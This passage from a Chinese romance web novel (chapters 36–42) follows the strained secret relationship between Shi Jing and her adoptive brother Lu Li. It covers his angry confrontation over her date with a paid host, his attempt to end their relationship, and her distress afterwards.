陆礼握着方向盘的手指逐渐收紧,骨节因用力高高鼓起,手背上青筋迸现,眼神冷得能冻**。
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>终于在拐入一段荒路时,他踩下刹车,看向副驾驶座上的妹妹。
尽量控制自己的怒气,平静开口道:“时憬,我们聊聊。”
时憬仍侧对着他。
对他的提议恍若未闻。
陆礼眉心皱下,直接动手,捏住时憬的下颚强行把她的脸掰了过来,让自己能看到她的脸,沉声训道:“你年纪轻刚接触社会没多久,对酒吧夜店好奇,我不会阻拦你去体验新鲜感,但前提是必须要让我知道,这件事我有没有和你说过?”
时憬抬眸看他,“我今天没去夜店。”
语气还如此理直气壮。
陆礼几乎要被她气笑,“你知道自己今天都做了什么?”
时憬回他:“带白行出台。”
兄长以为,妹妹还要继续装傻充愣来挑起他的怒气,没想到她直白毫不遮掩地回答。
陆礼眼底卷起骇人的怒意。
捏着她下颚的手指用力。
“你再说一遍。”
他冷冷的重复质问。
时憬迎着他的视线,下颚微昂,甚至还能有丝浅浅的笑容,启唇回道:“没听清么?那我再说一遍,我花钱买白行出台,爬山吃饭再打算去酒——”
最后一个字还未出口,就被陆礼怒斥声打断。
“他碰过你了?”
稳重古板的兄长彻底变了脸。
指腹在她下颚狠狠捏着。
时憬疼得像是那边的骨头要被捏碎般,脸上却不肯露出一星半点服软的态度,咬牙忍着,反问道,“哪种程度的?是像我们那样做么?”
陆礼的怒气腾在眼底。
“在乐园的那天晚上,你和他开了房?”
愤怒中的兄长再度失去对尺度的掌控。
而时憬也因这一句质问,忽略了某些信息,惊怒着出声:“你查我?!”
她的愤怒在陆礼眼中,赫然是恼羞成怒。
“有没有让他碰你?”他另一手掌扣上时憬的肩膀,将她拉到面前,“回答我!”
第37章 我是累赘?还是你玩腻——
时憬看着愤怒的陆礼。
她想讥讽着说关你什么事,更想脱口而出告诉他,他们睡过了又怎么样,可当她看见陆礼眼底除了愤怒外,还有许多许多她看不懂的情绪。这一刻,她心里的不甘、怒气,仿佛都一拳捶进了棉花之中。
陆礼知道她约了夜心的男人这么生气,肯定在意自己的,但她却没了从前任何一次的满足感。
她垂下眼睫,挡住自己的神色。
嘶哑着声回道:“没有。”
时憬闪躲着不看他的眼睛,更像是心虚的谎言。
陆礼捏着她下颚的手松开,拎起她的包,从里面翻出手机,在时憬察觉到他的动作后,伸手就要从他手里夺回手机,被陆礼抓住手腕,强行用指纹解锁。
“你想看什么!”
时憬的嗓音急得撕裂。
陆礼切入微信,一进去就看到了在最顶端的白行,迅速删除好友。
时憬看见这个动作后,只想要抢回手机:“你删了他我也能重新加回来,而且你有什么资格干扰我和谁交朋友!”
在时憬质问时,陆礼已切入手机银行,划走她卡内余额,只余下三千生活费。
她的银行卡、密码都是陆礼给她的,她从未改过。
可她也从未想过,陆礼会做这样的事。
时憬不敢置信的望着他。
眼眶通红。
陆礼眼神严厉,语气冰冷:“如果你所谓的这个朋友需要你出钱维系、甚至还要赔上你的名声,那我就有资格管你。从今天起我会停了副卡,每月给你转三千生活费,上下班由耿叔接送,不准去公寓住,给我老老实实回老宅去。我会告诉爸妈不准给你转账资金支援,有什么想买的发给我。如果你不想让那男人丢了夜心这份收入不错的工作,你大可以继续和他联系。还有不准再见童宛。”
说完,他才将手机放回时憬手中。
他前面说的任何一个要求,都没有令时憬时态,听到最后一句话时,时憬睁大眼瞳,“童宛是我最好的朋友,你凭什么不让我见?”
“最好的朋友?带着你去夜店,教你包养男人?”
“夜心是我想去的!也是我主动约白行的!和童宛没有一点点关系!你不让我见童宛、不让我见白行,我也有的是办法见他们!”
“你敢!”
陆礼重重呵斥。
这些年他将妹妹捧在手心保护,甚至都呵斥都要顾及她的情绪,却没想到,为了两个外人连他的话也不听了!
怒斥之下,时憬没有丝毫退让。
“我有什么不敢的!”她眼角鲜红,脸庞发白,眼泪在眼眶打转,强忍着不落下来,“你不让我见童宛他们,不就是强行让我接受费兰吗!我接受费兰和他交往后,你就能找个人接盘,顺理成章的甩开我!是你不想管我了!觉得我只是个累赘,也玩腻——”
最后几句话,令陆礼满脸怒容:“住口!”
“我不住口!是你想要推开我!不想要我了!我如你所愿去交朋友,你还有什么不满意的!哪怕我最后真的爱上了白行,你不用担心我会继续赖着你!继续赖在陆家!”
时憬噙着眼泪,浑身发颤,口不择言的说着违心的话。
陆礼在极怒过后,听到她说出要离开他、离开陆家,要和他划清关系时,周身寒气涌动,愤怒仿佛被瞬即冻结。
“时憬。”
男人重回冷静,叫着她的名字。
是时憬从未听过的语气。
“自从你15岁被我带回陆家,我和爸妈关心照顾你的这七年,就是为了让你拿来和我斗气,去结交那种男人?然后心甘情愿的被他们欺骗,再来伤我们的心,是吗?”
陆礼的每一句话都让时憬的心脏狠狠一颤。
不是——
不是的——
她根本不会爱上白行——
她不会爱上任何一个男人——
可她到了现在,却不敢说出她只是为了让陆礼着急,想让他在意自己,想让他也爱上自己……
她却不敢说了。
她怕在陆礼眼中看到失望的神情。
她只有陆礼,她不想要失去他啊……
心脏像是被一只手用力攥住。
疼的想要把自己藏起来。<
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br>她甚至不敢去看他,“是你…先要推开我……”
时憬不再反唇相讥,似是逃避又像是畏惧般的,低着头,下垂遮住的睫毛在不安的颤抖,苍白的脸颊上,下颚被用力捏住后留下的指印刺目。
陆礼仍扣着她的肩膀,外下的身躯在发抖。
而她带着哭音的那一句话,让陆礼重回理智。妹妹冲动,满口谎言,愤怒头上,再狠的话都能说出口,可他是兄长,比她年长六岁,是他不应该被情绪左右,跟着说出那些重话去伤妹妹的心。
陆礼调整语气,回应她那一句话:“我从未说过要推开你,也从来没有把你当成累赘。你能遇见喜欢的人,我会希望你获得幸福,没遇见之前,我依旧会照顾你。”
兄长毫不吝啬他的承诺。
时憬也相信他的承诺。
可她要的——
不是这种承诺。
时憬的眼泪终于忍不住,顺着腮边落下,她抬眸,哀求的望着他,“那你为什么不肯爱我……”
眼泪落下。
砸到陆礼的手背。
她的哭诉听得让人几欲心软。
但陆礼不能再这么做了,秦天川说的没错,这段扭曲的关系继续下去只会更伤害她,他不能为了安抚妹妹,再拥抱她、亲吻她。
他希望看着妹妹走出去。
陆礼抬起手,用指腹轻轻擦去她脸颊的眼泪,动作仍旧似从前那样温柔。
他低声说:
“抱歉。”
时憬掀起眼睑,眼泪从眼眶疯狂涌出。
不等她被情绪支配前,身体先一步有了动作,她前顷上身,吻上陆礼,她的动作毫无预兆,陆礼甚至没能预判到。
她用力的亲吻,想要分开他的唇。
想要陆礼像从前每一次亲近时那样,触及他的欲望。
但兄长却不再回应她的索取。
涌出的眼泪滑入口中,她尝到了咸涩,心底抽痛的快要无法呼吸,气息彻底乱了,也快要坚持不住了。
在她不敢再继续等待下去,无力的跌坐回去前。
一双强而有力的胳膊挡住她退路。
第38章 他还是心软了
她重新落入温暖的怀抱。
温热而柔软的唇吻去她涌出的眼泪。
像是在无数次纠缠时,他耐心地安抚崩溃的妹妹,拭去她的眼泪。
时憬用力地抓住他的胳膊。
伏在他的怀中。
像是溺水之人紧紧抓着一根浮木。
分开时,她的眼泪终于止住,眼底是涌动的泪光,盈在眼眶中,像是确认般的,迫不及待看向眼前的陆礼。
他还是心软了——
陆礼不会舍得抛下她的——
是不是——
“我没有强迫你去接受费兰,如果你真的不喜欢他,我们都不会勉强你。但时憬,”他的语气如此温柔,将他的道理掰开揉碎了讲给她听,“夜心的那个人不适合你。你们的生活环境、生活方式、消费观念都截然不同。他不能给你富裕自由的生活,只能给你所谓的爱情,你现在觉得只要有爱情就能克服一切,但两个人在一起走下去,不是只有爱情就足够了,比如你喜欢的包、首饰、护肤品、美食,他贫瘠的家庭环境他的消费观念是完全无法满足你的,你愿意为了他委屈一次两次,但你愿意委屈自己一辈子吗?有欲望不是什么羞于启齿的事情,你理应享受更好的生活,我希望你能慎重选择自己的幸福,而不是为了和我赌气,故意去做那些让我担心,伤害你自己的事。”
时憬怔怔地望着他。
眼底细碎的泪光连绵,凝结成珠子掉落。
原来不是他心软了。
原来刚才他只是为了安抚自己的情绪。
原来是他真的想要推开自己了,想要把自己推给一个才见过一次面的男人。
时憬眼中不再是诧异,也没有愤怒,而是止不住涌起的慌乱,她早已知道会有这一天,但当她触及这一日时,浑身血液骤凉。
什么白行。
什么费兰。
她统统不要!
她只要陆礼!
“是、是我太不谨慎了,让妈妈察觉到了什么是不是?我以后会小心的,不在再让妈妈发现的。还是我太任性了,不听你的话是不是?我保证——以后不会再故意做这种事情了!”她不停地说着话,手指攥着他的袖子,“陆礼,你别不要我好不好?”
眼前哭泣的女孩,是他精心照顾长大的,是他从死神手中抢回来的,所以才纵容她每一个过分的要求,如何舍得看她在自己面前落泪。
更如何舍得她这样哀求自己。
“陆礼……”
“你抱抱我……”
“不要推开我……”
……
【就时憬这一次事情来说,你们这种不正常的男女关系必须要尽快结束】
【你越晚抽手只会更容易激发她的情绪失控】
【中断这段关系最好的时间点是四年前,其次就是现在】
……
秦天川的警告声从记忆里跳出来,刺耳地循环回响着。在他快举手投降,对妹妹的眼泪心软之前,将他拉了回去。
时憬害怕被丢下。
他要做的,不是用身体去安抚她,一次次模糊爱与欲望的界限,而是应该告诉她,他永远不会抛弃亲人。
陆礼强迫自己狠下心,擦去她的眼泪,“时憬,你要试着走出去看看,不要害怕,我一直都会在你身后。时憬也永远会是我最重要的妹妹。”
他的动作一如既往地温柔。
目光笼罩着她。
说出口的语气更温柔。
但还是在告诉她——
不行。
她忽然不敢继续看这样的陆礼。
她推开他的拭泪的手,拒绝他的这些安慰和道理,蜷缩着坐在副驾,头埋在膝盖间,不再理这样的陆礼。
陆礼深深看了她一眼。
伸出的手收回。
一路二人无言,车内没有音乐,甚至连啜泣声都没有,安静到像是她睡着了般。
车子缓缓在陆园门口停下。
时憬仍无反应。
陆礼先下了车,绕到副驾时,时憬已经自己推门下车,脚下没站稳崴了一下,陆礼立刻将她扶稳。
她低着头,手紧紧抓住他的手掌。
手指挤入他的指缝,十指交握。
视线开始模糊。
陆礼注意到妹妹的动作,语气恢复了平静的冷漠:“时憬,到家了。”
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>时憬听到了,依旧沉默。
只是握着他手的力气加重了些。
像是要牢牢抓住什么。
陆礼握住她的手腕,掰开她的手,在抽回自己手的那一瞬,始终低头的妹妹忽然抬头。
眼泪顺着眼角滑落。
陆礼不再为她拭泪,不再温柔地同她说道理,说了句外面冷让她回房休息后,先进了客厅。
时憬看着他的背影,下意识地抬脚追上去。
不要走——
不要松开她!
陆礼是她的,可现在他不要自己了,现在他想让自己走出去,是他也想结束这种始终见不得人的关系。但她却不想当陆礼的妹妹,他们根本没有血缘关系,当他的妹妹有什么用……他将来会有更深羁绊的妻子、也会有属于他的孩子,那些人慢慢地都会比她这个毫无血缘的妹妹要重要……
她不要这样……
只要想一下预见的未见,她就已痛苦的无法接受……
时憬没有追上陆礼。
她甚至不知道自己怎么回的房间。
也不知道陆礼和妈妈说了什么。
等她回过神时,自己已经脱了衣服蜷缩着躺在被窝里,冷得瑟瑟发抖。
陆母敲门进来,在女儿床边坐下。
看着她大哭过后的眼,目光怜惜,“我的乖乖哭成这样,两只眼睛都肿了。”
时憬迎上陆母关切的目光,浑浑噩噩的思绪渐渐清晰,她听出妈妈没有询问她为什么哭,又迟钝地想起陆礼在车里说过,不准爸爸妈妈给她任何资金支援,刚才在楼下时,是不是陆礼已经把白行的事说了?
妈妈是不是也会像哥哥一样生气?
或是对她失望?
她握着鹅绒被的手指抠紧,哑声问:“他都说了…是么…?”
陆母嗯了声,温暖的指尖落在她额头,撩开黏在她脸上的碎发,“你哥很生气,都和我说了。”
时憬望着她,唇色苍白,“您是不是也很生气,您可以骂我训我,是我做错了事情……对不起……让你们失望了……但、但他是因为家里——”
陆母一声叹息,打住她的话。
第39章 她会听话的
时憬不敢再说话,眼神直愣愣地看着陆母。
落入陆母眼中,女儿可怜又不安的眼神几乎让她的心都疼了。
“乖乖不怕,”陆母弯了些腰,温暖细腻的掌心贴上她的脸颊,说道:“那种男生就专门利用自己可怜的身世来骗心底善良的小姑娘,还仗着自己长得好看,脚踏两条船,错的哪里是我们乖乖!”
时憬没有等来斥责,等来了妈妈的义愤填膺。
她怔住。
“你哥也知道我们乖乖心软,怕你继续被那人骗,所以才对你说话重了些,停你的生活费,不让我和爸爸支援你,也是为了你好,你看着吧,那人知道了你没了钱,肯定不再来找你,这也是你哥让你早些看清他本质。”
时憬垂下眼睫,挡住眼底的神色。
攥着被子的手指缓缓松开。
陆礼没有把白行是夜心的人告诉妈妈。
他替自己编了一个谎言,瞒过了爸爸妈妈。
这样温柔的陆礼……
事无巨细照顾她的陆礼……
她如何能再去爱上别人。
时憬用胳膊挡住眼睛,怕被妈妈看出她的情绪,抽噎地哭出声。
陆母只当这是女儿失恋的眼泪,“哭吧哭吧,哭出来了就不会再难受了。世上男人多的是,我们陆家的女孩儿不愁找不到好男人!”
在离开前,陆母还不忘叮嘱她,“今天哭过后人就得继续朝前走,不要为不值得的男人浪费生命。该出门出门,想出去旅游也行,上班也行,找其他人约会也好,必须得振作起来。还有啊,明天不准再和你哥闹脾气了,他气得也不轻,在家里,你哥哥比爸爸妈妈还要着急你的事情,不能去故意去伤害爱你的人的心,知道么?”
陆母的疼爱,从不是无条件的纵容。
她在她陷入绝望时,告诉她不要朝后看,要走出来、要坚强起来,不能依赖别人。
妈妈的话,温柔而有力。
而她不敢去直视妈妈。
她卑鄙的贪恋,如此自私而不堪。
她躲在被窝里,紧紧抱着自己。
是不是因为她一次次仗着陆礼对自己的纵容,耍的那些任性脾气,才让陆礼想要推开自己?如果她没有故意去约白行出来,乖乖听陆礼的话,陆礼就会不会这么快厌烦自己了?
如果她不再惹陆礼生气。
如果……
如果她按着陆礼的期盼,试着去认识费兰,她是不是还可以留在陆礼的身边。
*
第二天,冰敷过后,时憬看着镜子里的眼睛仍显红肿。
哪怕化了妆也遮不住。
她试着扬起笑脸。
陆家人已经在小餐厅用早饭,时憬最后一个来,打了招呼坐下后,陆母就张罗着给她夹爱吃的早餐。
时憬埋头吃,腮帮子吃得一鼓一鼓的,看着像是因认真吃饭而没空说话。
父子二人偶尔低声交流几句工作,无人主动提及昨天的事情,怕再惹时憬伤心。
陆母看着她明显精神起来的脸色,松了口气,问她:“小憬这段时间都住家里吧?”
她乖巧点头回应。
“今天准备做什么?不然陪妈妈去内购会吧,你邓阿姨也会去。”
时憬这才抬头,眨了眨眼,一脸的遗憾:“啊,早知道今天也请假了。”
陆母被她语气逗笑,忍不住摸了下头。
“上班好,晚上我让刘阿姨准备你喜欢吃的花胶鸡火锅。”
时憬闻言,眼睛都弯了起来。
“我想再配一杯米酒!”
陆父听妻女二人说得热闹,也笑呵呵说:“正好天气一天比一天冷了,吃火锅暖和,那我今天也早点回来。”
陆母去看唯一没吱声的儿子。
陆礼抬了下眼皮,“我也回来吃。”
陆母笑着应下,又叮嘱时憬:“妈妈把看到的款式都发给你,有喜欢的就告诉我,记得了么?”
陆母并不痴迷购物。
从前她也只穿固定的两三个奢牌。
但自时憬来了陆家,陆母才激发了逛街购物的欲望,喜欢将好看的都买回来,打扮她的女儿。
时憬问了牌子,陆母报了名字,是专做羊绒。时憬来了兴致,忙咽下嘴里的早餐,说她看中了新出的那款带帽子的披肩,嘴甜地请陆母帮她买回来。
陆母一口应下
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时憬就撒娇地拉着她手,好听的话一串接一串。
如平时一样。
就像是她已彻底从昨天的伤心绝望中走了出来。
陆礼叫了声她名字,“吃完顺路送你去公司。”
时憬的反应迟了一拍。
才抬头看向对面的陆礼,笑盈盈地回:“好呀,谢谢哥。”
陆礼却察觉了她笑容里的小心翼翼。
“怎么和你哥这么客气了?”但语气中更是因兄妹二人一如从前的亲近而高兴,转过头又对时憬说:“慢点吃,不急的,反正你哥上班也不打卡。”
陆礼等妹妹吃完,开车送她上班。
时憬坐惯了副驾,上面有她喜欢的小样香水、润唇膏、护手霜、发圈,甚至连安全带上都被她绑了一只毛绒小鸭,她一点点入侵陆礼的空间,宣布**。
她曾为这些痕迹而悄悄得意。
今天她看着只觉得自己单纯,在情绪涌上来之前,她侧着脸看窗外,也没有玩手机或游戏机,手指拨弄着安全带上的毛绒小鸭。
车子平稳停在写字楼前。
她开门下车。
“时憬。”
时憬背影停了下,转过脸,扬起笑脸:“忘说了拜拜!我上班去了。”
陆礼的目光落在她脸上,语气稳重温和似一位完美的兄长,“下班我来接你。”
“好~”她摆了下手,急着去离开:“我先进去啦。”
不等陆礼应下,车门已经被撞上。
他透过挡风玻璃,看着妹妹与一个同事打招呼,两人有说有笑进入大楼。
这是他今天看到妹妹最灿烂自然的笑脸。
陆礼收回目光,握着方向盘的手松了下,调转方向开出去。
时憬对这件事的反应比他想象中要好很多。
或许是她不像以前九年前一无所有,她在沙市有了家,有了亲人,有了朋友,有了活下去的能力,她一直都在挣扎努力的活下去。
他松开手后,她可能会痛苦,但肯定能慢慢走出来。
他应该相信妹妹。
不该过度担心的人是他。
这一天总部的人都知道总裁心情不好。
第40章 哥你抱我上去…
秘书办的所有人恨不能飘起来走路。
生怕脚步声重一点就要被陆少听到,拎进去挨训。
楼心月得知这个消息,难掩得意。
陆礼果然被时憬气到了。
这次的**虽狮子大开口要价极高,但查人速度快,楼心月在这天刚上班就拿到了那个男生的信息,在看见这条信息的瞬间,楼心月差点笑出声来。
白行!
是夜心的人!
是专门陪富婆、被人包养的小白脸!
时憬竟然和这样的男人混在一起!
陆礼知道后不知道会是什么脸色?
楼心月佯装担心,去总裁办找陆礼。
所有总经办的人亲眼看着她走进去,没两分钟就看见楼心月红着眼、白着脸出来,脚步匆匆离开。
下一秒,总经办内线响了。
门外的人都能听到陆少厉声骂人。
主任出来时脸都黑了。
“从今天起没有预约或不在名单上的人,不准随意进入总裁办,再有今天这样的事情发生,谁放的就立刻给我收拾走人!还有——”主任板着脸,视线从办公室的每一个人脸上扫过,“搞清楚自己的工作职能是什么,什么话该说、什么人不该认识,再被我发现,也被我从总经办滚蛋!”
这一句话落,所有人都看向角落的姑娘。
天底下没有不透风的墙,尤其是楼心月前脚白着脸出来,后脚总经办就踩了雷,紧接着行政就重新整理了十六楼的门禁权限。
耶耶就在行政干活,自然拿到了第一手消息。
立刻给时憬发消息。
绘声绘色地描述了一遍。
楼心月刚来总部时,因为职级与办公室配置的问题,当场就给耶耶一次下马威,耶耶就成了她第一号黑粉,一有点风吹草动就同步给时憬吃瓜。
耶耶:【听说进去了没一分钟就被赶出来了,让她整天装出来一副自己就是未来总裁夫人的嘴脸,该!】
耶耶:【让她嘚瑟!这下成了公司大笑话哈哈哈哈哈!】
耶耶:【叉腰仰天大笑.jpg】
时憬到公司后,就看到了耶耶发来的消息。
排在下面的是童宛。
担心她昨晚挨骂,童宛都没敢给她打电话。
时憬回了句没事,又加了表情包。
打开电脑干活。
她接了好几个活动的设计方案,一刻都不让自己停下来,忙到手机响了起来,她一手划开接听,一手还在修图:“您好哪位?”
电话那头沉默了下。
“你又删了我手机号?”
是陆礼的声音。
语气听起来似乎颇为无奈。
“没删,我在忙没看屏幕。”时憬用肩膀夹着电话,手上还在干活。
“认真工作值得夸奖,但时小舟你看看现在几点了?还不下班?”
时憬瞄了眼时间,早过了下班地点。
抬头看窗外的天早已黑透。
她轻啊了声。
接着陆礼就在电话里听到了一阵翻箱倒柜的混乱声,“哥,你等会儿!我马上下来!”
上了一天班,语气听起来比早上那会儿精神多了。
陆礼低声,“不急。”
时憬跑得气喘吁吁地上车。
“安全带。”陆礼提醒了声,随口问道:“今天很忙?”
“年末了嘛,晚会啊活动啊就多了起来,大家都忙,我也不好太闲着。”她说着,掩唇打了个哈欠。
陆礼发动车子,“累就闭眼休息会儿,到了我叫你。”
“谢谢哥。”她冲他笑了下。
礼貌而乖巧。
陆礼开车目视前方,伸手调高空调。
时憬昨晚没睡好,又忙一天,累得闭眼没一会儿就睡着了。
车里安静。
只有空调送风的轻响。
下高架时遇上红灯,陆礼偏了些视线,看见时憬不知何时脸朝向她这边,头一点点下滑,脖颈歪成一个看起来极不舒服的姿势,皱着眉,睡得不安稳。
陆礼伸出手,将她的头扶正。
时憬的脸颊被他的手掌温柔拖住,皱着的眉舒展,摆正姿势后,她在睡梦中蹭了下他的手掌,像是在撒娇。
陆礼无声笑了下。
车内昏暗的灯光将他的目光染上温情。
真是个喜欢撒娇的女孩。
迈巴赫缓缓在门口停下。
陆礼看着副驾上的人毫无醒来的迹象。
他先下车,走到副驾外拉开车门,弯腰,低声叫醒妹妹。
时憬皱着眉不肯醒来,“不要…我还要睡……”
“到家了,要下车去吃晚饭了。”
“爸妈都在等我们了。”
“听话,起来吃了晚饭再睡。”
她睡得迷迷糊糊,像每一次被吵醒一样,拖着音调,朝他伸出手去:“不吃了…哥你抱我上去…”
没有熟悉的冷香涌来。
也没有落入温暖的怀抱。
只有寒夜的冷气汩汩涌入车里。
时
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憬忍不住打了个哆嗦,睡意终于散去,她清醒过来,想起自己不能继续朝陆礼撒娇了,他会讨厌的,也会疲倦的。
时憬放下举起的胳膊,顺势揉了下眼睛,“睡得好舒服,正好肚子也饿了,等会儿啊,我收拾一下。”她低头去收拾包、外衣。
错过了陆礼快要抬起的手。
妹妹眼中一闪而过的清醒,看得陆礼不是滋味。
在他下车后,时憬也拎着自己的东西,走在他身边,撞上她侧眸看来的视线,染着湿漉漉的光,陆礼习惯性地抬起手,理了下她睡乱的头发。
“快走吧,”他垂下手,语气温和地说:“妈已经发信息来问怎么还没到家了。”
时憬扬起灿烂的笑。
“那快点走快点走!”
她才挽上陆礼的胳膊,拉着他快步进屋。
陆母看见兄妹二人说笑着进了小餐厅,笑容更温柔了几分,自昨天从陆礼口中知道时憬被一个外面的男生脚踏两条船,她也心疼女儿被欺负,但隐隐松口气,之前或许都是她多心。今早看着兄妹二人客客气气的,她还担心两人闹别扭。
这会儿两人一起进来,她也彻底放了心。
招呼他们赶紧洗手来吃饭。
一家四口,餐桌上和乐融融。
火锅吃得胃里发暖、脸上发汗,微凉的米酒喝下肚,降下升上来的火气,舒服得让人喟叹一声。米酒喝多了有些发腻,时憬又央求妈妈让她喝一杯气泡酒。
陆母被她水汪汪的眼睛看得心软,知道她酒量,只叮嘱别拿冰的出来。
一杯喝下肚,又趁着大家不注意续了半杯。
陆母轻拍了下手,想起来一件事,看着时憬道:“有个东西差点儿就忘记给你了。”
时憬盈盈笑着,面颊透出微醺的红晕,双眼里盛着波动的水色,闻言,眼睛更亮了些,笑容漾开,“是那件披肩么?谢谢妈妈~”
她眼神跟着陆母离开又折回来。
最后落在陆母递给她的一个长方形纸盒子上。
时憬有些醉了。
还没醉到以为披肩会装在盒子里。
她疑惑着歪了下脑袋,嘀咕了声是什么呀,捧着盒子晃了下,头也跟着一起晃了下,看着有些呆愣愣的可爱。
陆母被可爱到了。
忍不住轻掐了把面颊。
陆父也目光疼爱地看着女儿。
陆母:“是你邓阿姨今天给我的,说是费兰请我代为转交给小憬的。”
第41章 妥协,照顾妹妹
陆礼看向捧着盒子的妹妹,她低着头认真拆开。
取出一只粉色保温杯。
然后,他就看见妹妹扑哧一声笑了出来,抱着保温杯看了一圈,似乎是喜欢极了。
陆母也好奇:“就只是个保温杯?”
而且看着也不是什么牌子的。
一个其貌不扬的杯子竟然女儿这么开心?
时憬点头,笑着指杯子上印着‘多喝热水’四个字,同妈妈解释,她说得诙谐有趣,自己也笑得停不下来,眼中过分波动的水光,笑得就快凝结成眼泪滑下来。
看着真喝醉了。
陆母哎呀了声,“今天喝了这么点怎么就醉了,乖乖快上去休息吧。”
时憬单手搂着保温杯,单手撑着桌子站起来,指着门口,理直气壮道:“我没醉!我还能走直线呢!”
陆母叫都叫不停她。
只能看着时憬走了两步一头栽进沙发里。
陆父着急:“没摔疼吧?”
结果站得太猛,闷哼了声,眼前跟着发黑。
陆母见儿子已经去看女儿,连忙转身搀着陆父,“怎么样了?快坐下缓缓,让你今天喝这么多。”
陆礼从沙发里把喝醉的妹妹扶了起来,时憬却怎么也站不直,人直往下跌,陆礼没办法,只能把人抱起来,“她醉得不轻,我送她回房去休息。”
“好,我等会儿就让阿姨送蜂蜜水上去,你上楼也小心点。”陆母分身乏术,把时憬托付给儿子。
陆礼应了声,抱着人上楼。
喝醉的时憬闭着眼,安静地窝在他怀里,不吵也不闹,像是睡着了,双手紧抱着那只粉色的保温杯。
陆礼动作平稳地将妹妹放在床上,单膝蹲下,脱下她的鞋子摆正,又轻轻拍了下她的脸,“时憬,醒醒,能自己脱衣服吗?”
时憬睁开眼。
眼神水汪汪的,盯着人就笑。
“可以…脱……”她嘿嘿笑了声,又嘿咻一声摇摇晃晃地坐起来,两只手扒拉住陆礼的衣摆就往上扯。
陆礼:……
他无奈,伸手握住她胡来的手。
一时分不清她是故意的还是真醉了。
时憬挣扎了下,鼓着脸颊,不高兴地告状:“怎么不让脱啊?衣服,你自己脱吧!我要睡了——”说着,眼睛闭上就往后倒去。
陆礼弯着腰,被猛地一拽,险些压下去。
他胳膊撑住身体,掌心陷入柔软的床垫,看着身下的女孩,久久才有动作,扶着她靠坐在自己怀里脱去外衣,纵使他照顾惯妹妹,和醉鬼也讲不通道理,还把她惹恼了哭唧唧地赶他,胳膊乱挥,陆礼恨不得把她的手捆住。
终于把人塞进被子里后,发现她还抱着保温杯。
陆礼伸手拿走。
睡着的人一下子就皱紧眉头,“不要…这是我的…陆礼…不要不要我……我会听话的……”
才几句话,她就已泪流满腮。
让陆礼的手僵住。
门外阿姨敲门来送蜂蜜水,陆礼接了进来,并未离开。
这样喝醉胡说的妹妹如何能让阿姨照顾。
他向自己妥协了一次,像从前每一次一样,无微不至地照顾她,卸妆、擦洗、换上睡衣,尽量不多看一眼。
时憬陷在噩梦中。
并不知道是陆礼在照顾她。
她也以为自己藏得很好,在陆礼的眼中变回了听话的妹妹,他可能就不会想要推开自己。
她也开始接受费兰的邀请,每一次都会拍照发在朋友圈。
费兰偶尔会露面,大多时候只有一个侧影。
她希望陆礼能看见,她在听他的话。
在试着接受一个陌生的男人。
但费兰的确是一个很好的玩伴。
费兰虽然从小在国外长大,但邓阿姨却是地道的沙市人,这次回国,与邓家恢复走动,邓家那帮男孩女孩也常约费兰出来玩。
大家年龄相仿,家世相近,又都是一个圈子里的,一起徒步、野餐、骑车、攀岩、爬山等等,各种室内户外活动丰富多彩,填满了时憬的周末。
转眼到了一月底,农历年底。
时憬跟着老板去总部开会。
新年长假在即,总部里到处洋溢着新年的氛围
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但忙也是真的忙。
陆礼这小半月出差就没有停过,时憬也有小半个月没有见过他。
微信上的聊天记录还停留在三天前。
陆礼说今天会回公司,晚上到家。
时憬怕他觉得自己粘人,没问他几点到公司。她一开完会向老板请了假后就直奔十六楼。
思念快凝结成实质。
迫不及待想要尽快见到陆礼。
她想要抱一下陆礼,哪怕会被他礼貌地推开也没关系,这样她就又能有力气继续伪装成听话的妹妹。
今天总部有各个分公司的老总来做汇报。
总经办几乎全员出动,办公室里都空了,只留了一个年轻女孩坐在总裁办外的开放办公桌低头处理工作。
时憬并不认识她。
可能是新来的员工。
时憬还未走到总裁办门外,就被女孩出声拦住:“您好,没有预约不能进去。”
时憬愣住,还以为是女孩没有认出自己,指着自己问:“我也不可以进?”
女孩认真看了她一眼,又低头与什么确认了一遍,抬头公式化的微笑回道:“您不在名单内,如果想要见总裁,请预约后再来,谢谢。”
说着,手一抬,客客气气地请时憬离开。
时憬脸上的血色瞬间退去。
又重复问了一遍:“你确定,我不在名单上?我是时憬。”
“您确定不在名单上,时小姐。”
时憬看着紧闭的办公室,思念化成利刃,狠狠扎向她的胸口。
这是陆礼的意思?
一边说不会推开她。
一边连办公室都不准她进入。
无数疯狂、失控的念头快要冲出体内,她想要推开这个女孩,然后冲进办公室去,等着陆礼给她一个说法——
但是不行……
眼前的女孩是无辜的。
不应该把她牵连进来。
“……我知道了,谢谢。”时憬挤出微笑,转身想要从十六楼离开,她低头走的脚步飞快,甚至没注意到有人与她擦身而过,直到身后传来叫她名字的声音。
第42章 时憬!不要敷衍我
“是小憬妹妹?好久没见你,最近过得还好么?”
楼心月的声音从身后传来后,又折回时憬面前,目光又带着长姐般的温柔地打量时憬,随即轻轻的呀了声,掩唇惊呼:“你怎么瘦了这么多啊?”
时憬思绪有些麻木地反应过来。
抬头看着眼前精心打扮的女人。
她上一次听见楼心月的名字,还是从耶耶口中,听说楼心月白着脸从陆礼的办公室里出来,成了总部的笑话。
此时的楼心月已是满面春风得意。
成了笑话的,是她时憬。
“好久不见。”
时憬敷衍地问好。
楼心月故意当做没看出时憬的失魂落魄,柔声问道:“陆礼还要两个小时才到公司,要不要和我一起进去等会儿?我正好也有事情找他。”
每一个字清晰入耳。
她想,原来楼心月能进去啊。
原来楼心月知道他回来的确切时间。
原来什么都不知道的,是她。
被彻底推开的是她——
她还在傻傻地以为,只要自己听陆礼的话,只要自己和费兰来往,只要自己不再任性,陆礼就不会拒绝自己,她还能继续拥有陆礼。
结果她的听话,换来的是陆礼毫不费力就摆脱了她。
她TM真……
蠢啊。
“不用了。”她迅速低下头,推开楼心月,几乎是狼狈地从她面前逃走。她冲到电梯前,视野一片模糊,手指在控制不住地颤抖,呼吸开始变得困难。她揪着领口,张唇急促地喘息,视线慌乱四扫,终于看见了一扇门,拉开躲进了逃生通道。
里面空无无人。
她背靠着墙壁跌坐在地上。
与翻涌而来的情绪,失控得窒息感搏斗。
没事的。
没事的,时憬。
冷静下来。
冷静……
可她……
怎么能冷静下来?!
她的心好疼好疼。
……
晚上,时憬回到陆园。
陆礼比她更早回到家里,一家人正说着话,看见时憬回来后,陆母张罗着赶紧吃饭。
餐桌上还算热闹。
陆父陆母问着他这次出差的见闻,又商量着今年过年要不要回沙市乡下去陪陆家老太太过年。
时憬安静吃饭,并不参与话题中去。
陆母看她,“小憬今年也和我们一起回乡下去吧?”
时憬像是根本没听见,仍在低头慢吞吞地吃饭。
